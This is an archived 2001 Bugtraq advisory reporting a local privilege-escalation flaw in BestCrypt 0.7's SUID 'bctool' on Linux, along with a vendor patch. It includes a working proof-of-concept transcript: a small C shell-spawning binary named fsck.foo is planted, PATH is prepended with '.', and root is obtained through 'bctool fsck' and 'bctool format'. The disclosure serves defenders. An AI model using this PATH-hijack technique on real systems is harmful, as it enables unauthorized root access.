Fatal flaw in BestCrypt <= v0.7 (Linux)

From: Joel Eriksson (jenat_private)
Date: Mon Jun 04 2001 - 17:23:54 PDT

  • Next message: Colin Watson: "Re: man/man-db MANPATH bugs exploit"

    Hello fellow Bugtraq'ers.
    
    As you can see in the message below I have discovered a flaw in
    the SUID-root "bctool" program that comes with BestCrypt from
    Jetico. A session transcript where the flaw is exploited is also
    included and so is a patch for the problem.
    
    For those of you that did not know, BestCrypt is a product that
    allows users to create encrypted loopback filesystems using
    encryption algorithms such as Twofish, Blowfish, Gost or DES.
    While the Windows version (yes, compatible with the Linux version)
    is commercial and only distributed in binary format, the Linux
    version is distributed with source code under the GPL license.
    
    I must give the Jetico programmers credit for obviously being
    security aware (my personal judgement after reading the source),
    even though they overlooked this particular bug, and for responding
    so fast to my message. They have already made a new version available
    that fixes the bug (v0.8) and hopefully this one does not have any
    more nasty security holes in it.
    
    Still, as a general security advice I would recommend creating a
    special group for "bctool" and any other SUID programs that does not
    need to be used by every user on the system and removing world
    executable permissions. Only the proactive security measures are
    worth anything in the long run..
    
    --
    Joel Eriksson
    Systems developer, Utilator
    
    ----- Forwarded message from Joel Eriksson <jeat_private> -----
    
    Date: Mon, 4 Jun 2001 00:43:35 +0200
    From: Joel Eriksson <jeat_private>
    To: supportat_private
    Subject: Security flaw in "bctool" (Linux)
    
    Hello,
    
    I have recently discovered a fatal security flaw in BestCrypt 0.7
    (and probably earlier versions too) for Linux that allows local
    users to gain root access. Since I am very security aware in
    general I looked through the source code when I first started
    using your product and was happy to find that your programmers
    seems to be aware of common security flaws like buffer overflows
    and everything seemed to be secure.
    
    But, today when I had to run "fsck" (filesystem check) on an
    encrypted container after my two-year-old son accidently pressed the
    power button to my computer it occured to me that when the filesystem
    type is specified to "fsck" with "-t <fstype>" it executes
    "fsck.<fstype>" to do the actual check. "mkfs" behaves the same
    too btw. So, I tested the following:
    
    --8<-----------------------------------------------------------------
    [je@seth ~]$ id
    uid=502(je) gid=505(je)
    [je@seth ~]$ bctool new fscktest -s 1k -a des
    Enter password: fscktest
    Verify password: fscktest
    [je@seth ~]$ cat > fsck.foo.c
    #include <unistd.h>
    #include <stdio.h>
    
    int main(void)
    {
            setuid(geteuid());
    
            execl("/bin/bash", "-bash", NULL);
    
            return 1; /* this should not be reached */
    }
    ^D
    [je@seth ~]$ gcc -o fsck.foo fsck.foo.c
    [je@seth ~]$ export PATH=.:$PATH
    [je@seth ~]$ bctool fsck -t foo fscktest
    Enter password: fscktest
    Parallelizing fsck version 1.19 (13-Jul-2000)
    [./fsck.foo -- /dev/bcrypt1] fsck.foo /dev/bcrypt1
    bash-2.05# id
    uid=0(root) gid=505(je)
    bash-2.05# exit
    [je@seth ~]$ ln -s fsck.foo mkfs.foo
    [je@seth ~]$ bctool format fscktest -t foo
    Enter password: fscktest
    bash-2.05# id
    uid=0(root) gid=505(je)
    bash-2.05# 
    --8<-----------------------------------------------------------------
    
    I hope you found the info useful and make a patch available ASAP.
    Since I am for full disclosure I will also make this info available
    to the security mailinglist Bugtraq, but I can wait until you have
    made a patch available if it doesn't take you too long.
    
    The easiest, and perhaps the best, way to get rid of the problem
    would be to use a predefined (in compiletime) $PATH when executing
    external programs. This change may be done in run_process() in
    misc.c (and run_proc() too, but that function is not currently
    used anywhere now).
    
    You already strip the environment from all but a few variables, I
    would think you don't need any of the ones you left except $PATH
    however. Don't rely on the users own $PATH anymore though, "/sbin"
    is probably enough..
    
    Last but not least I think you have made a great product and my
    impression is that your programmers are security aware even though
    they overlooked this particular problem. Keep up the good work!
    
    Here is a patch I made for myself:
    
    --8<-----------------------------------------------------------------
    --- bcrypt-0.7-2/src/misc.c     Wed Jan 31 11:00:04 2001
    +++ bcrypt-0.7-2/src/misc.c     Mon Jun  4 00:18:47 2001
    @@ -251,8 +251,7 @@
     int run_process(char *args[])
     {
         int pid, i, j;
    -    char *env[16];
    -    extern char **environ;
    +    char *env[] = { "PATH=/sbin", NULL };
    
         assert(args != NULL);
         assert(args[0] != NULL);
    @@ -266,25 +265,6 @@
    
         if ( pid == 0 )
         { /* Child */
    -
    -        /* Prune environment to remove any potentially dangerous variables. */
    -        i = 0;
    -        for ( j = 0; environ[j] && i < sizeof(env)/sizeof(env[0]) - 1; j++ )
    -            if ( strncmp(environ[j], "HOME=", 5) == 0 ||
    -                 strncmp(environ[j], "USER=", 5) == 0 ||
    -                 strncmp(environ[j], "PATH=", 5) == 0 ||
    -                 strncmp(environ[j], "LOGNAME=", 8) == 0 ||
    -                 strncmp(environ[j], "TZ=", 3) == 0 ||
    -                 strncmp(environ[j], "MAIL=", 5) == 0 ||
    -                 strncmp(environ[j], "SHELL=", 6) == 0 ||
    -                 strncmp(environ[j], "TERM=", 5) == 0 ||
    -                 strncmp(environ[j], "DISPLAY=", 8) == 0 ||
    -                 strncmp(environ[j], "PRINTER=", 8) == 0 ||
    -                 strncmp(environ[j], "XAUTHORITY=", 11) == 0 ||
    -                 strncmp(environ[j], "TERMCAP=", 8) == 0 )
    -                env[i++] = environ[j];
    -        env[i] = NULL;
    -
             execve(args[0], args, env);
             msg(stderr,"execve %s failed: %s\n", args[0], strerror(errno));
         }
    --8<-----------------------------------------------------------------
    
    -- 
    Joel Eriksson
    Systems developer, Utilator
    
    ----- End forwarded message -----
    



    This archive was generated by hypermail 2b30 : Mon Jun 04 2001 - 22:30:38 PDT